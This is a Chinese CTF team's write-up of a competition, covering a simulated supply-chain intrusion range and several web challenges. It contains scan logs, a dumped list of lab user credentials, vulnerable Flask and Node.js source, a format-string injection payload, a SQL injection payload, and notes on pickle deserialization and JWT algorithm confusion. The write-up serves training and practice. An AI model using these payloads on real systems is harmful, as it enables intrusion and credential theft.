前言
80多名被打爆了。。
倒也正常,我们这个队伍配置就没法赢,二进制打烂的题我们零解,我们有躺赢狗(
实战场景赛
企业安全 (Unsolved)
本次靶场模拟了一起供应链攻击事件,目标是测试企业在供应链安全防护中的关键环节。
在该场景中,Stellarion 作为一家专注于可重复使用航天器、先进电推进技术和深空通信系统的高科技太空探索企业,依赖 SafeGuard 提供的服务器安全监控产品。SafeGuard 负责入侵检测、防火墙管理、日志分析、威胁响应等安全防护措施,并对 Stellarion 的核心 IT 设施进行持续监测与风险评估。
攻击者为窃取 Stellarion 的内部敏感文件,利用 SafeGuard 供应链漏洞 进行 投毒攻击,最终渗透 Stellarion 内部系统,导致机密数据泄露。参赛选手需复盘此次攻击,分析攻击路径、关键突破点,并协助双方制定有效的防御策略,提升供应链安全防护能力。
提示:在该场景中,两个企业的部分机器之间存在一条 192.168.60.0/24 网段的专线。
.13
/downloads/ 泄露 jar 包
UserRealm
package com.solidrock.security.shiro;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class UserRealm extends AuthorizingRealm {
public UserRealm() {
}
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
String username = (String)authenticationToken.getPrincipal();
String password = new String((char[])((char[])((char[])authenticationToken.getCredentials())));
if (username.equals("admin@solidrock.com") && password.equals("123456")) {
return new SimpleAuthenticationInfo(username, password, this.getName());
} else {
throw new IncorrectCredentialsException("Username or password is incorrect.");
}
}
}
但是 80 端口是个静态页面只有一个 jar 包下载,扫不出其他端口了
.14
[*] alive ports len is: 218
start vulscan
[*] WebTitle http://172.18.167.14:8080 code:302 len:0 title:None 跳转url: http://172.18.167.14:8080/login;jsessionid=2FE97C536C7B8C646A0A291D28C8A030
[*] WebTitle http://172.18.167.14:8080/login;jsessionid=2FE97C536C7B8C646A0A291D28C8A030 code:200 len:15013 title:Solid Rock | Enterprise OA System - Login
Target: http://172.18.167.14:8080/
[11:14:35] Scanning:
[11:14:36] 400 - 435B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[11:14:39] 302 - 0B - /;json/ -> http://172.18.167.14:8080/login;jsessionid=57D2116D70C4A47139EB0ABDA2DF774B
[11:14:39] 302 - 0B - /;login/ -> http://172.18.167.14:8080/login;jsessionid=D39C86CAE3F101F819994B1DE62F6FD0
[11:14:39] 302 - 0B - /;admin/ -> http://172.18.167.14:8080/login;jsessionid=72ED8E7799391F2FA9727700E415EBC4
[11:14:39] 200 - 15KB - /;/login
[11:14:40] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[11:14:40] 400 - 435B - /a%5c.aspx
[11:14:44] 401 - 49B - /api/2/explore/
i[11:14:44] 401 - 49B - /api
[11:14:44] 401 - 49B - /api/
[11:14:44] 401 - 49B - /api/__swagger__/
[11:14:44] 401 - 49B - /api/api
[11:14:44] 401 - 49B - /api/2/issue/createmeta
[11:14:44] 401 - 49B - /api/_swagger_/
[11:14:44] 401 - 49B - /api/api-docs
[11:14:44] 401 - 49B - /api/apidocs
[11:14:44] 401 - 49B - /api/apidocs/swagger.json
[11:14:44] 401 - 49B - /api/application.wadl
[11:14:44] 401 - 49B - /api/cask/graphql
[11:14:44] 401 - 49B - /api/batch
[11:14:44] 401 - 49B - /api/config.json
[11:14:44] 401 - 49B - /api/chat
[11:14:44] 401 - 49B - /api/config
[11:14:44] 401 - 49B - /api/create
[11:14:44] 401 - 49B - /api/copy
[11:14:44] 401 - 49B - /api/database.json
[11:14:44] 401 - 49B - /api/credentials.json
[11:14:44] 401 - 49B - /api/delete
[11:14:44] 401 - 49B - /api/docs
[11:14:44] 401 - 49B - /api/credential.json
[11:14:44] 401 - 49B - /api/docs/
[11:14:44] 401 - 49B - /api/embeddings
[11:14:44] 401 - 49B - /api/embed
[11:14:44] 401 - 49B - /api/generate
[11:14:44] 401 - 49B - /api/error_log
[11:14:44] 401 - 49B - /api/index.html
[11:14:44] 401 - 49B - /api/jsonws
[11:14:44] 401 - 49B - /api/jsonws/invoke
[11:14:44] 401 - 49B - /api/login.json
[11:14:44] 401 - 49B - /api/package_search/v4/documentation
[11:14:44] 401 - 49B - /api/proxy
[11:14:44] 401 - 49B - /api/profile
[11:14:44] 401 - 49B - /api/ps
[11:14:44] 401 - 49B - /api/pull
[11:14:44] 401 - 49B - /api/push
[11:14:44] 401 - 49B - /api/show
[11:14:44] 401 - 49B - /api/snapshots
[11:14:44] 401 - 49B - /api/spec/swagger.json
[11:14:44] 401 - 49B - /api/swagger-ui.html
[11:14:44] 401 - 49B - /api/swagger
[11:14:44] 401 - 49B - /api/swagger.json
[11:14:44] 401 - 49B - /api/swagger.yaml
[11:14:44] 401 - 49B - /api/swagger/index.html
[11:14:44] 401 - 49B - /api/swagger/static/index.html
[11:14:44] 401 - 49B - /api/swagger/swagger
[11:14:44] 401 - 49B - /api/swagger/ui/index
[11:14:44] 401 - 49B - /api/tags
[11:14:44] 401 - 49B - /api/timelion/run
[11:14:44] 401 - 49B - /api/users.json
[11:14:44] 401 - 49B - /api/user.json
[11:14:44] 401 - 49B - /api/v1
[11:14:44] 401 - 49B - /api/swagger.yml
[11:14:44] 401 - 49B - /api/v1/
[11:14:44] 401 - 49B - /api/v1/swagger.yaml
[11:14:44] 401 - 49B - /api/v2
[11:14:44] 401 - 49B - /api/v1/swagger.json
[11:14:44] 401 - 49B - /api/v2/
[11:14:44] 401 - 49B - /api/v2/helpdesk/discover
[11:14:44] 401 - 49B - /api/v2/swagger.yaml
[11:14:44] 401 - 49B - /api/v2/swagger.json
[11:14:44] 401 - 49B - /api/v3
[11:14:44] 401 - 49B - /api/v4
[11:14:44] 401 - 49B - /api/vendor/phpunit/phpunit/phpunit
[11:14:44] 401 - 49B - /api/whoami
[11:14:44] 401 - 49B - /api/version
[11:14:46] 500 - 118B - /downloads/dom.php
[11:14:47] 500 - 73B - /error
[11:14:47] 500 - 73B - /error/
[11:14:47] 302 - 0B - /home/ -> http://172.18.167.14:8080/login
[11:14:47] 302 - 0B - /home -> http://172.18.167.14:8080/login
[11:14:48] 302 - 0B - /index -> http://172.18.167.14:8080/login
[11:14:49] 200 - 15KB - /login
[11:14:49] 200 - 15KB - /login/
[11:14:53] 302 - 0B - /swagger-ui -> http://172.18.167.14:8080/swagger-ui/index.html
[11:14:53] 200 - 92B - /swagger-resources
[11:14:55] 200 - 55KB - /v2/api-docs
[11:14:55] 200 - 64KB - /v3/api-docs
有一个swagger
选择 /api/user 获取全部账密
{
"code": 200,
"message": "All users retrieved",
"data": [
{
"email": "david.miller.07@solidrock.com",
"password": "@0QYiCo0&if7",
"role": "ADMIN"
},
{
"email": "alex.turner.01@solidrock.com",
"password": "Sol1dr0ck_Alex",
"role": "ADMIN"
},
{
"email": "john.smith.03@solidrock.com",
"password": "zMu3k!o%Hl!H",
"role": "USER"
},
{
"email": "sarah.connor.04@solidrock.com",
"password": "z40e+Zu!RalC",
"role": "USER"
},
{
"email": "emma.watson.02@solidrock.com",
"password": "O0rvSDbU3sO",
"role": "MANAGER"
},
{
"email": "michael.jackson.05@solidrock.com",
"password": "9lZTsn?dYs=n",
"role": "MANAGER"
},
{
"email": "taylor.swift.10@solidrock.com",
"password": "7$phW^03m&DZ",
"role": "USER"
},
{
"email": "lisa.ray.06@solidrock.com",
"password": "sWY*1%cGOIfP",
"role": "USER"
},
{
"email": "robert.pattinson.09@solidrock.com",
"password": "A=@q0XUlyo7P",
"role": "MANAGER"
},
{
"email": "jennifer.lopez.08@solidrock.com",
"password": "T8fnq%Ig8VkW",
"role": "USER"
}
]
}
登录后只能下载一个 SolidRockSecurityCheckAgent.exe,应该是投毒的供应链软件
但是逆不出东西,只有一个 cmd pause 的操作
威胁检测
flag1
用tcpdump蹲着。
101.212.78.52:36543
flag{3ba612c1fc28bea3465bd0b2695ba265}
CTF
Web
bookstore
登录后就可以管理图书了。
/backup 获取源码
from flask import Flask, request, \
session, g, redirect, url_for, \
abort, render_template, flash, \
render_template_string
import os
from settings import *
import pickle
import re
import traceback
app = Flask(__name__)
app.config.update(dict(
DATABASE='',
DEBUG=True,
SECRET_KEY=os.environ.get('SECRET_KEY'),
))
app.config.from_envvar('FLASKR_SETTINGS', silent=True)
class ErrorHandler():
def __init__(self):
self.notfound = "Oops! That page doesn't exist."
self.badreqyest = "Your Rquest We Could Not Understand"
@app.errorhandler(404)
def page_not_found(error):
template = '''
<div class="center-content error">
<h1>{error.notfound} !!!</h1>
<h2>''' + request.url + '''</h2>
</div>
'''
error = ErrorHandler()
return template.format(error = error), 404
def get_books(book_name=None):
if book_name:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
return book
except:
return None
else:
books = []
dirs = os.listdir("./books/")
for book_name in dirs:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
except:
continue
books.append(book)
return books
def save_book(book_name, book_bio, book_img, book_price, book_num):
book = pickle.dumps((book_name, book_img, book_bio, book_price, book_num))
with open('./books/' + book_name, 'wb') as f:
f.write(book)
@app.route("/bookAdd",methods=['POST','GET'])
def upload():
if session.get('logged_in', None) and session.get('name', None) == 'admin':
if request.method == 'POST':
try:
book_name = request.form.get('book_name')
book_bio = request.form.get('book_bio')
book_price = int(request.form.get('book_price'))
book_num = int(request.form.get('book_num'))
f = request.files['myfile']
book_img = f.filename
save_book(book_name, book_bio, book_img, book_price, book_num)
f.save("./static/img/"+f.filename)
except Exception as e:
traceback.print_exc()
return "Something Wrong!!!"
return "Book Add Success"
else:
return render_template('tmpl/bookAdd.html')
return 'You are not login'
# 主页
@app.route('/')
@app.route('/index')
def index():
if session.get('logged_in', None):
name = session.get('name')
if name == 'admin':
return render_template('index.html')
else:
session['logged_in'] = 0
session['name'] = 'Anonymous'
msg = 'Please Login First, {} '
return render_template('index.html', msg=msg.format(session.get('name')))
@app.route('/login',methods=['POST','GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
username = request.form.get('username')
password = request.form.get('password')
if username == ADMIN_USER and password == ADMIN_PASSWORD:
session['logged_in'] = 1
session['name'] = 'admin'
msg = 'Please Login First, {} '
return render_template('index.html', msg=msg.format(session.get('name')))
@app.route('/logout')
def logout():
session['logged_in'] = 0
session['name'] = 'Anonymous'
msg = 'Please Login First, {} '
return render_template('index.html', msg=msg.format(session.get('name')))
@app.route('/bookDetail/<string:book_name>')
def book_detail(book_name):
book = get_books(book_name)
return render_template('tmpl/bookDetail.html', book=book)
@app.route('/backup')
def hint():
return open(__file__).read()
@app.route('/bookList')
def book_list():
books = get_books()
return render_template('tmpl/bookList.html', books=books)
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=False,port=8080)
目标是打pickle
def get_books(book_name=None):
if book_name:
try:
with open('./books/' + book_name, 'rb') as f:
book = pickle.load(f)
return book
except:
return None
首先要获取 admin 账密,观察 404 的处理
class ErrorHandler():
def __init__(self):
self.notfound = "Oops! That page doesn't exist."
self.badreqyest = "Your Rquest We Could Not Understand"
@app.errorhandler(404)
def page_not_found(error):
template = '''
<div class="center-content error">
<h1>{error.notfound} !!!</h1>
<h2>''' + request.url + '''</h2>
</div>
'''
error = ErrorHandler()
return template.format(error = error), 404
此处可以注入模板字符串
{error.__init__.__globals__}
得到账密
admin:nishibukenengcaichulaide12345678
然后目录穿越打pickle
访问 bookDetail/444 触发回显外带
Deprecated (Unsolved)
不要见到登录就爆破,sql注入你也可以考虑,但是你需要知道后端用的是什么数据库,另外JWT can be flexible in algorithm。
const db = require('better-sqlite3')('./database.db',{readonly : false});
module.exports = {
getUser(username){
let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
return result;
},
checkUser(username){
let result=db.prepare('SELECT * FROM users WHERE username = ?').get(username);
return (result === undefined);
},
createUser(username, password){
let query = 'INSERT INTO users(username, password) VALUES(?,?)';
db.prepare(query).run(username,password);
},
attemptLogin(username, password){
let result=db.prepare(`SELECT * FROM users WHERE username = ? AND password = ?`).get(username,password);
return (result !== undefined);
},
sendFeedback(message){
db.prepare(`INSERT INTO messages VALUES('${message}')`).run();
}
}
一眼注入点在 insert
注意waf:
const badwordCheck= (data) => {
data=data.toLowerCase();
let badwords = /system|blob|exec|date|rand|char|regexp|unicode|load/g;
return !!data.match(badwords);
};
let message=req.body.message.replace(/'/g,"\\'").replace(/"/g,"\\\"");
if(badwordCheck(message)){
return res.send('Forbidden word in message.');
}
db.sendFeedback(message);
构造 payload:
1\')--
但是不能堆叠注入,利用有限
JWTutil
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('./publickey.pem', 'utf8');
const privateKey = fs.readFileSync('./privatekey.pem', 'utf8');
module.exports = {
async sign(data) {
data = Object.assign(data);
return (await jwt.sign(data, privateKey, { algorithm:'RS256'}))
},
async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256','HS256'] }));
}
}
一眼 RS256 和 HS256 的转换,如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名
但是没实践过,不清楚具体的攻击流程,hacktricks 也没讲明白
web3 (Unsolved)
最后一小时上了道题?
这个Web网站没有看出啥问题,但好像DNS域名中隐藏了啥信息,我来挖一挖。
/cgi-bin/readdb.py
409-56-7008 Bennet Abraham 415 658-9932 6223 Bateman St. Berkeley CA 94705 1
213-46-8915 Green Marjorie 415 986-7020 309 63rd St. #411 Oakland CA 94618 1
238-95-7766 Carson Cheryl 415 548-7723 589 Darwin Ln. Berkeley CA 94705 1
998-72-3567 Ringer Albert 801 826-0752 67 Seventh Av. Salt Lake City UT 84152 1
899-46-2035 Ringer Anne 801 826-0752 67 Seventh Av. Salt Lake City UT 84152 1
722-51-5454 DeFrance Michel 219 547-9982 3 Balding Pl. Gary IN 46403 1
807-91-6654 Panteley Sylvia 301 946-8853 1956 Arlington Pl. Rockville MD 20853 1
893-72-1158 McBadden Heather 707 448-4982 301 Putnam Vacaville CA 95688 0
724-08-9931 Stringer Dirk 415 843-2991 5420 Telegraph Av. Oakland CA 94609 0
274-80-9391 Straight Dean 415 834-2919 5420 College Av. Oakland CA 94609 1
756-30-7391 Karsen Livia 415 534-9219 5720 McAuley St. Oakland CA 94609 1
724-80-9391 MacFeather Stearns 415 354-7128 44 Upland Hts. Oakland CA 94612 1
427-17-2319 Dull Ann 415 836-7128 3410 Blonde St. Palo Alto CA 94301 1
672-71-3249 Yokomoto Akiko 415 935-4228 3 Silver Ct. Walnut Creek CA 94595 1
267-41-2394 O'Leary Michael 408 286-2428 22 Cleveland Av. #14 San Jose CA 95128 1
472-27-2349 Gringlesby Burt 707 938-6445 PO Box 792 Covelo CA 95428 3
527-72-3246 Greene Morningstar 615 297-2723 22 Graybar House Rd. Nashville TN 37215 0
172-32-1176 White Johnson 408 496-7223 10932 Bigge Rd. Menlo Park CA 94025 1
712-45-1867 del Castillo Innes 615 996-8275 2286 Cram Pl. #86 Ann Arbor MI 48105 1
846-92-7186 Hunter Sheryl 415 836-7128 3410 Blonde St. Palo Alto CA 94301 1
486-29-1786 Locksley Charlene 415 585-4620 18 Broadway Av. San Francisco CA 94130 1
648-92-1872 Blotchet-Halls Reginald 503 745-6402 55 Hillsdale Bl. Corvallis OR 97330 1
341-22-1782 Smith Meander 913 843-0462 10 Mississippi Dr. Lawrence KS 66044 0
309-68-290 Cricket Barlab 415-439-7815 4279 warker Street Oaklang CA 94809 1
chained_identity (Unsolved)
某公司实习生开发了一个留言板内容,该公司非常注重安全性,不过留言板似乎可以查看数据内容,貌似可以看到数据库的东西,你能帮忙看看有什么问题吗,好像可以污染一下。
ezwebsite (Unsolved)
小明为了窥探别人隐私,特意用网上的CMS搭建了一个网站并且去掉了网站原有的加密,在内网环境中,搭建了一个dtale服务进行数据分析。进后台RCE关注内网服务进行提权